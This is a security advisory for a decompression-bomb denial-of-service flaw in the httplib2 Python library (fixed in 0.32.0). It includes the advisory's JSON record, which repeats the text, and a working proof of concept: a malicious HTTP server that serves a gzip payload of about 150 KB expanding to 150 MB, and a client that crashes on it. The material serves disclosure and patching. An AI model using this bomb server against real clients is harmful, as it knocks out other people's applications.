GHSA-J5G9-F88F-GFJ3
Vulnerability from github – Published: 2026-07-24 15:15 – Updated: 2026-07-24 15:15Summary
The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.
Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.
Details
Affected code: httplib2/__init__.py - _decompressContent() function
The decompression path has two unbounded operations:
-
gzip decompression (line 394):
python content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()The.read()call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size. -
deflate decompression (line 397):
python content = zlib.decompress(content, zlib.MAX_WBITS)Similarly,zlib.decompress()returns the fully decompressed content as a single bytes object with no size bound. -
Automatic invocation (line 1431):
_decompressContent()is called automatically on every HTTP response that includes aContent-Encoding: gzipordeflateheader. The full compressed body is already buffered in memory viaresponse.read()before decompression begins.
Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.
Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:
- Content-Encoding: gzip header
- A small compressed body that decompresses to an arbitrarily large size
Proof of Concept
Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:
#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver
UNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB
def make_payload():
"""Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
chunk = b"A" * (1024 * 1024) # 1 MB of repeating bytes
for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
gz.write(chunk)
return buf.getvalue()
PAYLOAD = make_payload()
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Encoding", "gzip")
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, fmt, *args):
pass
with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
f"{UNCOMPRESSED_SIZE} bytes decompressed")
httpd.serve_forever()
Step 2 - Run the httplib2 client (in a separate terminal):
#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2
# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
http = httplib2.Http(timeout=5)
try:
response, content = http.request("http://127.0.0.1:8000/")
print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
print(f"MemoryError confirmed: decompression bomb exhausted "
f"{LIMIT_MB} MB memory limit")
# This is the expected outcome - the 150 KB compressed payload
# expanded to 150 MB during decompression, exceeding the limit.
Expected output (client):
MemoryError confirmed: decompression bomb exhausted 180 MB memory limit
Reproduction metrics:
- Compressed payload size: 152,908 bytes (~150 KB)
- Decompressed size: 157,286,400 bytes (150 MB)
- Amplification ratio: ~1,029x
- Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()
Impact
Severity: High
Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.
| Parameter | Value |
|---|---|
| Compressed payload | ~150 KB |
| Decompressed size | 150 MB (configurable by attacker) |
| Amplification ratio | ~1,029x |
| Authentication required | None |
| User interaction required | None |
| Prerequisites | Client makes any HTTP request to attacker-controlled server |
Real-world scenarios: - Web scrapers/crawlers that fetch pages from untrusted URLs - API clients connecting to third-party services - Webhook handlers that follow redirects to attacker-controlled endpoints - CI/CD pipelines that download dependencies or artifacts over HTTP - Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload
Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.
Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.
Credit
Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "httplib2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59939"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T15:15:05Z",
"nvd_published_at": "2026-07-08T20:16:59Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.\n\nAny application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected.\n\n### Details\n\n**Affected code:** `httplib2/__init__.py` - `_decompressContent()` function\n\nThe decompression path has two unbounded operations:\n\n1. **gzip decompression** (line 394):\n ```python\n content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()\n ```\n The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.\n\n2. **deflate decompression** (line 397):\n ```python\n content = zlib.decompress(content, zlib.MAX_WBITS)\n ```\n Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound.\n\n3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins.\n\n**Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server\u0027s compressed payload size.\n\n**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:\n- `Content-Encoding: gzip` header\n- A small compressed body that decompresses to an arbitrarily large size\n\n### Proof of Concept\n\n**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP server that serves a gzip decompression bomb.\"\"\"\nimport gzip\nimport http.server\nimport io\nimport socketserver\n\nUNCOMPRESSED_SIZE = 150 * 1024 * 1024 # 150 MB\n\ndef make_payload():\n \"\"\"Create a gzip payload: ~150 KB compressed -\u003e 150 MB decompressed.\"\"\"\n buf = io.BytesIO()\n with gzip.GzipFile(fileobj=buf, mode=\"wb\", compresslevel=9) as gz:\n chunk = b\"A\" * (1024 * 1024) # 1 MB of repeating bytes\n for _ in range(UNCOMPRESSED_SIZE // len(chunk)):\n gz.write(chunk)\n return buf.getvalue()\n\nPAYLOAD = make_payload()\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/octet-stream\")\n self.send_header(\"Content-Encoding\", \"gzip\")\n self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n self.end_headers()\n self.wfile.write(PAYLOAD)\n def log_message(self, fmt, *args):\n pass\n\nwith socketserver.TCPServer((\"127.0.0.1\", 8000), Handler) as httpd:\n print(f\"Bomb server ready: {len(PAYLOAD)} bytes compressed -\u003e \"\n f\"{UNCOMPRESSED_SIZE} bytes decompressed\")\n httpd.serve_forever()\n```\n\n**Step 2 - Run the httplib2 client (in a separate terminal):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Client that demonstrates MemoryError from httplib2 decompression bomb.\"\"\"\nimport resource\nimport httplib2\n\n# Set a 180 MB memory limit to make the crash deterministic\nLIMIT_MB = 180\nlimit = LIMIT_MB * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nhttp = httplib2.Http(timeout=5)\ntry:\n response, content = http.request(\"http://127.0.0.1:8000/\")\n print(f\"Unexpected success: received {len(content)} bytes\")\nexcept MemoryError:\n print(f\"MemoryError confirmed: decompression bomb exhausted \"\n f\"{LIMIT_MB} MB memory limit\")\n # This is the expected outcome - the 150 KB compressed payload\n # expanded to 150 MB during decompression, exceeding the limit.\n```\n\n**Expected output (client):**\n```\nMemoryError confirmed: decompression bomb exhausted 180 MB memory limit\n```\n\n**Reproduction metrics:**\n- Compressed payload size: **152,908 bytes** (~150 KB)\n- Decompressed size: **157,286,400 bytes** (150 MB)\n- Amplification ratio: **~1,029x**\n- Client memory limit: 180 MB -\u003e `MemoryError` triggered during `gzip.GzipFile.read()`\n\n### Impact\n\n**Severity: High**\n\nAny application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.\n\n| Parameter | Value |\n|---|---|\n| Compressed payload | ~150 KB |\n| Decompressed size | 150 MB (configurable by attacker) |\n| Amplification ratio | ~1,029x |\n| Authentication required | None |\n| User interaction required | None |\n| Prerequisites | Client makes any HTTP request to attacker-controlled server |\n\n**Real-world scenarios:**\n- **Web scrapers/crawlers** that fetch pages from untrusted URLs\n- **API clients** connecting to third-party services\n- **Webhook handlers** that follow redirects to attacker-controlled endpoints\n- **CI/CD pipelines** that download dependencies or artifacts over HTTP\n- **Any MITM attacker** on an unencrypted HTTP connection can inject the compressed payload\n\n**Impact scaling:** The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.\n\n**Downstream exposure:** `httplib2` is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google\u0027s API client libraries (`google-api-python-client`, `google-auth-httplib2`), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.\n\n---\n### Credit\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
"id": "GHSA-j5g9-f88f-gfj3",
"modified": "2026-07-24T15:15:05Z",
"published": "2026-07-24T15:15:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/httplib2/httplib2/security/advisories/GHSA-j5g9-f88f-gfj3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59939"
},
{
"type": "WEB",
"url": "https://github.com/httplib2/httplib2/commit/87581ad6cf752fe3da2090c59058261d2d00a427"
},
{
"type": "PACKAGE",
"url": "https://github.com/httplib2/httplib2"
},
{
"type": "WEB",
"url": "https://github.com/httplib2/httplib2/releases/tag/v0.32.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2026-3444.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.